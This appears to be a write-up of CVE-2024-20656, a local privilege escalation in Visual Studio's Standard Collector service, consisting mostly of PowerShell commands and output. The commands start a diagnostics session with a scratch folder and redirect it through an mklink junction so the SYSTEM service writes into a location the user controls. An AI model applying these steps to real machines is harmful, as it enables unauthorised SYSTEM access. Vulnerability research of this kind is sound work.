CVE-2024-20656 – VSStandardCollectorService150 服务中的本地权限升级

PS C:\Users\doom> sc.exe qc VSStandardCollectorService150[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VSStandardCollectorService150        TYPE               : 10  WIN32_OWN_PROCESS        START_TYPE         : 3   DEMAND_START        ERROR_CONTROL      : 0   IGNORE        BINARY_PATH_NAME   : "C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe"        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : Visual Studio Standard Collector Service 150        DEPENDENCIES       :        SERVICE_START_NAME : **LocalSystem**PS C:\Users\doom>

PS C:\Windows\system32> .\cacls.exe C:\Windows\Temp\76914557-4A42-4586-B0D9-C8904F9BFEFF.scratchC:\Windows\Temp\76914557-4A42-4586-B0D9-C8904F9BFEFF.scratch BUILTIN\Administrators:FBUILTIN\Administrators:(OI)(CI)(IO)FNT AUTHORITY\SYSTEM:FNT AUTHORITY\SYSTEM:(OI)(CI)(IO)Fdoompc\doom:(OI)(CI)(special access:)READ_CONTROLSYNCHRONIZEFILE_GENERIC_READFILE_READ_DATAFILE_READ_EAFILE_READ_ATTRIBUTES

PS C:\Program Files\Microsoft Visual Studio\2022\Community> & 'C:\Program Files\Microsoft Visual Studio\2022\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe'
Microsoft (R) VS Standard Collector
For a detailed description of each command:  VSDiagnostics <command> /help
Commands:  start <sessionID> [/attach:<pid>[;<pid>;...]] [/launch:<executable> /launchArgs:<executableArgs>] [/loadAgent:<agentCLSID>;<agentName>[;<config>]] [/loadConfig:<configFile>] [/monitor] [/scratchLocation:<folderName>] [/package:[opt | dir]] [/symbolCachePath:<folderName>]      Start a collection session
  update <sessionID> [/attach:<pid>[;<pid>;...]] [/detach:<pid>[;<pid>;...]] [/loadAgent:<agentCLSID>;<agentName>[;<config>] ...] [/lifetimeProcess:<pid>]      Update a collection session. This allows addition and removal of target processes and collector agents.
  stop <sessionID> /output:<fileName>      Stop a collection session
  pause <sessionID>      Pause a collection session
  resume <sessionID>      Resume a collection session
  status <sessionID>      Display the status of a collection session
  postString <sessionID> "<messageString>" /agent:<agentCLSID>      Post a string to a collection agent
  expandDiagSession <diagSession>      Expand the DiagSession archive into a subdirectory adjacent to the DiagSession
  help      Print out this help message

PS C:\Program Files\Microsoft Visual Studio\2022\Community> & 'C:\Program Files\Microsoft Visual Studio\2022\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe' start /help
Microsoft (R) VS Standard Collector
Start a collection session
start <sessionID> [/attach:<pid>[;<pid>;...]] [/launch:<executable> /launchArgs:<executableArgs>] [/loadAgent:<agentCLSID>;<agentName>[;<config>]] [/loadConfig:<configFile>] [/monitor] [/scratchLocation:<folderName>] [/package:[opt | dir]] [/symbolCachePath:<folderName>]
<sessionID>      ID of the collection session - this should be a number in the range [0, 255] or a parsable Guid.
  /attach:<pid>[;<pid>;...]      Semi-colon-delimited list of process IDs to target
  /launch:<executable>      Path to the executable to launch
  /launchArgs:<executableArgs>      Arguments for the executable to launch
  /loadAgent:<agentCLSID>;<agentName>[;<config>]      Agent to be loaded - this option may be specified multiple times to load multiple agents
  /loadConfig:<configFile>      Loads the agents and their configurations specified in the file
  /monitor      Monitor the session after it is started - status updates will be displayed and the command will block until the session ends
  /scratchLocation:<folderName>      Path to the desired output folder
  /package:[opt | dir]      Options for the package flag: 'opt' - Optimized archive format, 'dir' - Directory format
  /symbolCachePath:<folderName>      Path to the desired symbol cache folder

PS C:\Program Files\Microsoft Visual Studio\2022\Community> & 'C:\Program Files\Microsoft Visual Studio\2022\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe' start 1 /scratchLocation:C:\expl
Microsoft (R) VS Standard Collector
Session 1: {0197e42f-003d-4f91-a845-6404cf289e84}RunningPS C:\Program Files\Microsoft Visual Studio\2022\Community>

PS C:\> cmd /c mklink /j c:\expl c:\expl2Junction created for c:\expl <<===>> c:\expl2PS C:\> mkdir C:\expl2
Directory: C:\
Mode                 LastWriteTime         Length Name----                 -------------         ------ ----d-----         1/10/2024   8:38 AM                expl2

PS C:\> cacls.exe C:\expl2\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsessionC:\expl2\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession BUILTIN\Administrators:(ID)FNT AUTHORITY\SYSTEM:(ID)FBUILTIN\Users:(ID)RNT AUTHORITY\Authenticated Users:(ID)C

PS C:\> icacls c:\c:\ BUILTIN\Administrators:(OI)(CI)(F)    NT AUTHORITY\SYSTEM:(OI)(CI)(F)    BUILTIN\Users:(OI)(CI)(RX)    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)    NT AUTHORITY\Authenticated Users:(AD)    S-1-15-3-65536-1888954469-739942743-1668119174-2468466756-4239452838-1296943325-355587736-700089176:(S,RD,X,RA)    Mandatory Label\High Mandatory Level:(OI)(NP)(IO)(NW)